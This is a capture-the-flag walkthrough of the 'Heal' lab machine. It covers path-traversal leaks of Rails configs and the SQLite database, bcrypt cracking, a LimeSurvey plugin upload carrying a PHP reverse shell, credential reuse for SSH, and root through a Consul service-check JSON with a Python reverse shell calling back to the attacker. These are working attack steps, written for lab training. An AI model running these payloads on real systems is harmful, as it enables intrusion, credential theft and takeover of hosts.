RECON
Port Scan
$ rustscan -a $ip --ulimit 1000 -r 1-65535 -- -A -sC
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
URL: http://heal.htb/
Impression
A web app for resume builder:

Try to create an account but fail:

Because it sent a POST request to http://api.heal.htb, which we should then add the new subdomain to /etc/hosts
file:

After the proper configuration, we can now access the resume builder as an authenticated user:

We can export the resume as a PDF by sending two consecutive requests to the server: a POST request to /exports
with a valid JWT token, followed by a GET request to /download?filename=...
:

The POST request to /exports
provides the HTML content that the server uses to generate a PDF:

In the HTTP response, we observed the x-runtime
header—a strong indicator of a Ruby on Rails application. This header, typically added by the Rails framework, reveals the request's processing time. We'll analyze this further later.
The request also includes a verified JWT:

Survey | LimeSurvey
The above operations are triggered via JavaScript buttons. However, when we hover over the Survey option in the menu, a new subdomain is revealed: http://take-survey.heal.htb
. This becomes visible as we move the cursor over the button:

We can submit a POST form request with custom input:

Example request intercepted by BurpSuite when I input aaaaaaaaaaaa
to submit:
POST /index.php/552933 HTTP/1.1
Host: take-survey.heal.htb
Content-Length: 290
Cache-Control: max-age=0
Origin: http://take-survey.heal.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://take-survey.heal.htb/index.php/552933
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: YII_CSRF_TOKEN=WjBCdXdqclNLRG9ndnJoVDN0OFNfcV9uNTRiaGNBXzaxAjBDvOZiC84Y7dYEetA4_tUnuKsa68ntaEwRGNnb1Q%3D%3D; LS-ZNIDJBOXUNKXWTIP=g6u2kp2t0a7p1vndqvgerdbfhs
Connection: keep-alive
YII_CSRF_TOKEN=WjBCdXdqclNLRG9ndnJoVDN0OFNfcV9uNTRiaGNBXzaxAjBDvOZiC84Y7dYEetA4_tUnuKsa68ntaEwRGNnb1Q%3D%3D&fieldnames=552933X2X2&thisstep=1&sid=552933&start_time=1734240437&LEMpostKey=1193404575&relevance2=1&relevanceG0=1&552933X2X2=aaaaaaaaaaaa&lastgroup=552933X2&ajax=off&move=movesubmit
The session will expire if we refresh the page:

And visiting found subdomain http://take-survey.heal.htb/ will tell us it's served by LimeSurvey:

By analyzing the JavaScript paths in BurpSuite and exploding them, we uncover some interesting URIs:

/index.php/admin/authentication/sa/login
/index.php/admin/authentication/sa/forgotpassword
It appears to be a login entry for Administrator:

Profile
The Profile menu confirms that we are not an admin, and the ID matches the one embedded in the JWT:

LinkFinder
Using LinkFinder, we uncover additional interesting endpoints:

/home/ralph/resume-builder/src/App.js
/home/ralph/resume-builder/src/componenets/Home.js
/home/ralph/resume-builder/src/componenets/TakeSurvey.js
/home/ralph/resume-builder/src/componenets/Error.js
Furthermore, the Ralph user appears to be the web admin.

Ruby | Rail Framework
From the above reconnaissance, we know the web app is a Ruby on Rails application, according to responses such as the following example:
HTTP/1.1 201 Created
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 15 Dec 2024 06:54:25 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 76
Connection: keep-alive
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers:
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
etag: W/"ae617bb76b34bdc095d263e476594cb7"
cache-control: max-age=0, private, must-revalidate
x-request-id: 3c2319e0-a372-4661-8a2f-0fa9445c9969
x-runtime: 0.301694
vary: Origin
{"message":"PDF created successfully","filename":"d68502e99286800f3f3b.pdf"}
x-runtime
Header:- This header is specific to Ruby on Rails and is used to track the runtime of the request.
- It measures the duration Rails takes to process the request in seconds (
0.301694
in this case).
Ruby on Rails, often just called Rails, is a web application framework written in the Ruby programming language. It provides developers with tools and conventions to build web applications quickly and efficiently. Rails follows the Model-View-Controller (MVC) architectural pattern.
Expanded Directory Structure:
/app/ # Core application code
/controllers/ # Handles requests and controls app flow
/models/ # Business logic and data (interacts with the database)
/views/ # HTML templates and front-end rendering logic
/helpers/ # Helper methods for views
/mailers/ # Email logic and templates
/channels/ # WebSocket-related code
/config/ # Configuration files
/database.yml # Database connection settings
/routes.rb # Application routes (URL mappings to controllers)
/secrets.yml # (Deprecated) Secrets or sensitive configurations
/credentials.yml # Encrypted credentials (newer Rails versions)
/db/ # Database-related files
/migrate/ # Migration files (define schema changes)
/log/ # Logs of server activities
/public/ # Publicly accessible files (e.g., `index.html`, images)
/storage/ # Uploaded files handled by Active Storage
/test/ or /spec/ # Tests for the application (depending on test framework)
/vendor/ # Third-party libraries
Root Directory Files:
Gemfile
: Specifies Ruby gems (dependencies) for the application.Gemfile.lock
: Locks the gem versions to ensure consistent dependencies.Rakefile
: Defines tasks for automation (e.g., database setup or test runs).config.ru
: Used by Rack-based servers (like Puma) to run the application.README.md
: Documentation for the application, often used on GitHub.package.json
: (Optional) Manages JavaScript dependencies if using a JavaScript build tool..ruby-version
: Specifies the Ruby version for the application..gitignore
: Defines files or directories to be ignored by Git.
Ralph
LFI | Path Traversal
Since we already know that the server processes HTML to PDF and allows downloading files via two consecutive requests, it raises potential vulnerabilities such as Local File Inclusion (LFI) or Path Traversal.
A quick test on the /download
endpoint shows we can directly send a GET request instead of the expected OPTIONS method:

The initial 401 Unauthorized response indicates the resource is protected and requires proper authentication, flagged as "Invalid token." This implies the need for a valid JWT to access specific resources.
We observed earlier that a valid JWT was included in the POST request to /exports
when clicking the "EXPORT AS PDF" button. By copying the same JWT into the Authorization header and resending the GET request to /download
, the server now accepts the request:

Now that we can legally access the resource, we test the filename
parameter for potential vulnerabilities, such as Path Traversal. This classic attack involves manipulating the file path using ../
to escape directory restrictions:

At this stage, we now know two users exist in the target environment — Ralph and Ron, and that the application relies on a PostgreSQL database.
Since the application is a Ruby on Rails web app, common files like README.md
or configuration files are likely present in the project root. By testing incrementally, we successfully leak the README.md
with the following request:
GET /download?filename=../../README.md
Leaked README.md
:
# README
This README would normally document whatever steps are necessary to get the
application up and running.
Things you may want to cover:
* Ruby version
* System dependencies
* Configuration
* Database creation
* Database initialization
* How to run the test suite
* Services (job queues, cache servers, search engines, etc.)
* Deployment instructions
* ...
Leak the Gemfile
specifying Ruby gems (dependencies) for the application:
GET /download?filename=../../Gemfile
Leaked Gemfile
:
source "https://rubygems.org"
ruby "3.3.5"
# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 7.1.3", ">= 7.1.3.4"
# Use sqlite3 as the database for Active Record
gem "sqlite3", "~> 1.4"
gem 'jwt'
gem 'bcrypt', '~> 3.1.7'
gem 'imgkit'
gem 'rack-cors'
gem 'rexml'
# Use the Puma web server [https://github.com/puma/puma]
gem "puma", ">= 5.0"
# Build JSON APIs with ease [https://github.com/rails/jbuilder]
# gem "jbuilder"
# Use Redis adapter to run Action Cable in production
# gem "redis", ">= 4.0.1"
# Use Kredis to get higher-level data types in Redis [https://github.com/rails/kredis]
# gem "kredis"
# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
# gem "bcrypt", "~> 3.1.7"
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]
# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false
# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
# gem "image_processing", "~> 1.2"
# Use Rack CORS for handling Cross-Origin Resource Sharing (CORS), making cross-origin Ajax possible
# gem "rack-cors"
group :development, :test do
# See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
gem "debug", platforms: %i[ mri windows ]
end
group :development do
# Speed up commands on slow machines / big apps [https://github.com/rails/spring]
# gem "spring"
end
The leaked Gemfile provides valuable insights into the structure and functionalities of the Rails application:
- The application runs on Ruby version 3.3.5 and uses Rails 7.1.3.4.
- SQLite3 is used as the database backend.
- JWT (JSON Web Tokens) for token-based authentication.
- BCrypt for securely hashing and storing user passwords.
- Gem
imgkit
used to convert HTML to images or PDFs. - Gem
rack-cors
handles cross-origin requests. - Gem
rexml
provides XML parsing functionality, suggesting XML may be used in data - Gem
puma
is the web server, known for its speed and performance.
Leak configuration files under /config
, such as /config/database.yml
which provides details about the application's database setup:
GET /download?filename=../../config/database.yml
Leaked database.yml
:
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
adapter: sqlite3
: The application uses SQLite3, a lightweight, file-based database engine.database: storage/development.sqlite3
: The development database file is located atstorage/development.sqlite3
.database: storage/test.sqlite3
: The test database is isolated and automatically refreshed during test runs.- The production environment is incorrectly configured to use the same database as development. This is a serious misconfiguration for real-world deployments and could lead to data corruption or unintentional leaks.
Therefore, we can then leak /storage/development.sqlite3
using LFI again:
GET /download?filename=../../storage/development.sqlite3
Save the database file to our attack machine and dump the database:
sqlite3 development.sqlite3 .dump > dump.sql
We retrieve 2 password hashes from the user
table, including web admin Ralph:

Hash type identified, as we also knew it from previous enumeration:

It turns out this is crackable with Hashcat mode 3200
:
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94▒▒▒▒▒▒▒ZnG:1472▒▒▒▒
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
RCE | LimeSurvey Plugin
Since Ralph is the web admin, we can use the found credentials to login the web app:

We can also try to login http://take-survey.heal.htb/index.php/admin/authentication/sa/login, which we cannot when we was a normal user. After logging in we discover the version number is 6.6.4
:

Investigating the administrator panel, we discovered a Plugin upload option—commonly exploited for Remote Code Execution (RCE) attacks:

There's a practical RCE example provided in this GitHub repository. We can download the exploit and modify it based on the sample to suit our target environment.
First create a config.xml
to suit for our case (e.g.: Name: Axura
, Version: 6.6.4
):
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Axura</name>
<type>plugin</type>
<creationDate>2024-12-14</creationDate>
<lastUpdate>2024-12-14</lastUpdate>
<author>Axura</author>
<authorUrl>https://4xura.com</authorUrl>
<supportUrl>https://4xura.com</supportUrl>
<version>6.6.4</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Axura]]>
</description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.6.4</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Then create a PHP reverse shell script using a publicly available example, such as Ivan's PHP reverse shell. Save the script as rev.php
, then compress it into a .zip
file to prepare it for upload:
$ zip axura.zip rev.php config.xml
adding: rev.php (deflated 72%)
adding: config.xml (deflated 58%)
$ ls axura.zip
axura.zip
Upload the malicious ZIP plugin and install:

Activate the plugin:

Visit the reverse shell according to format url+{upload/plugins/#Name/#Shell_file_name}
. In my case, it's:
curl http://take-survey.heal.htb/upload/plugins/Axura/rev.php
And we have the web root shell:

RON
Run linpeas.sh
for enumeration, although the shell is quite not stable:

In fact, configuration files are prime targets when inspecting the web root, especially for database credentials. Since we know the target uses PostgreSQL, we can focus on LimeSurvey’s main configuration file, typically located at /var/www/html/application/config/config.php
. This file often contains the database connection details, including host, username, and password:

This turns out to be Ron’s SSH login password after a successful password spray attempt:

And we can take user flag here.
ROOT
Enum
Enumerate the machine internally, we discover quite some open ports on localhost:

- PostgreSQL - Port 5432
- Application Services - Ports 3000, 3001
- It's related to the web app as we enumerate the
nginx.conf
file with LFI.
- It's related to the web app as we enumerate the
- HashiCorp Consul - Ports 8500, 8600, 8300-8302
- Consul is running (
127.0.0.1
), which is often used for service discovery and key-value storage.
- Consul is running (
We can actually check endpoints:
# Enum all Key-Value (KV) pairs stored in the Consul KV store.
curl http://127.0.0.1:8500/v1/kv/?recurse
# Retrieves metadata & configuration info about Consul agent
curl http://127.0.0.1:8500/v1/agent/self
Bingo:

HashiCorp Consul
HashiCorp Consul is an open-source tool used for service discovery, configuration management, and distributed key-value storage. It is commonly used in cloud-native environments to manage microservices and facilitate communication between them.
Since Consul is running on 127.0.0.1:8500
, we can Port-forward using SSH:
ssh -L 8500:127.0.0.1:8500 [email protected]
With version number leaked Consul v1.19.2
:

POC
If we search vulnerabilites for HashiCorp Consul of related versions, we can easily find the POC posted here.
This script exploits a command injection vulnerability in Consul Api Services. The vulnerability exists in the
ServiceID
parameter of thePUT /v1/agent/service/register
API endpoint. TheServiceID
parameter is used to register a service with the Consul agent. TheServiceID
parameter is not sanitized and allows for command injection. This vulnerability can be used to execute arbitrary commands on the host running the Consul agent.
However, it requires a CONSUL_TOKEN
to perform certain actions, such as creating a service via the API endpoint. Unfortunately, we don’t have one (commonly referred to as a SecretID
) to log in to the Consul dashboard.
Moreover, analyzing the dump from curl http://127.0.0.1:8500/v1/agent/self
reveals that ACLs are enabled, but many tokens, such as ACLInitialManagementToken
and ACLAgentToken
, are marked as "hidden"
.
- Access Control Lists (ACLs) are used in Consul to enforce permissions on API endpoints.
- When ACLs are enabled, valid ACL tokens are typically required for actions like registering services or creating health checks.
But we can check if there's misconfiguration which allows us to bypass certain authentication.
To identify potential misconfigurations or overly permissive ACL settings that could allow us to bypass authentication, we analyze the config.json
file using the following commands:
# Check if ACLs are enabled in the configuration.
# If this returns "true," ACL enforcement is active.
$ jq '.DebugConfig.ACLResolverSettings.ACLsEnabled' config.json
true
# Identify the default policy for ACLs.
# If it's "allow," it indicates all actions are permitted unless explicitly restricted.
$ jq '.DebugConfig.ACLResolverSettings.ACLDefaultPolicy' config.json
"allow"
# List all defined ACL tokens.
# These tokens are essential for authentication and authorization
# But some may be hidden for security reasons.
$ jq '.DebugConfig.ACLTokens' config.json
{
"ACLAgentRecoveryToken": "hidden",
"ACLAgentToken": "hidden",
"ACLConfigFileRegistrationToken": "hidden",
"ACLDNSToken": "hidden",
"ACLDefaultToken": "hidden",
"ACLReplicationToken": "hidden",
"DataDir": "/var/lib/consul",
"EnablePersistence": false,
"EnterpriseConfig": {}
}
- Misconfiguration Risk: The
ACLDefaultPolicy
being set to"allow"
could result in unauthorized access, especially if tokens are not strictly required. - Token Enumeration: Even if the tokens are hidden, the structure reveals what types of tokens exist.
While ACLDefaultPolicy: allow
suggests actions like service registration without tokens are permitted, we can test if the API accepts requests without a token.
First, create a file named test.json
with minimal information:
{
"Name": "simple-service",
"ID": "simple-service",
"Port": 8080
}
Then use the following curl
command to register the service:
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d @test.json
In the dashboard, we can see a new service created:

We’ve verified that the Consul API allows service registration without additional authentication.
Exploit
Now that the misconfiguration (ACL default policy allow
) is verified, which mean we don't need a token to create a service. We can construct the attack to achieve Remote Command Execution (RCE) using the service.register
API.
Step 1 | Create a Malicious JSON Payload
To exploit the misconfiguration, we will craft a JSON payload that uses the check
feature to execute arbitrary commands, according to the original POC script. However, the bash
seems to be restricted:

Thus we can attempt other shells or methods like Python. The Args
parameter in the service check can trigger a reverse shell.:
{
"Name": "revshell-py",
"ID": "revshell-py",
"Address": "127.0.0.1",
"Port": 80,
"Check": {
"Args": ["/usr/bin/python3", "-c", "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.▒▒.▒▒\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")"],
"Interval": "10s",
"Timeout": "1337s"
}
}
Step 2 | Start a Netcat Listener
rlwrap nc -lvnp 4444
Step 3 | Send the Payload to the Target
Use the curl
command to send the payload to the Consul API:
curl -X PUT --data-binary @revshell_py.json http://127.0.0.1:8500/v1/agent/service/register
Service created:

Rooted:

Comments | NOTHING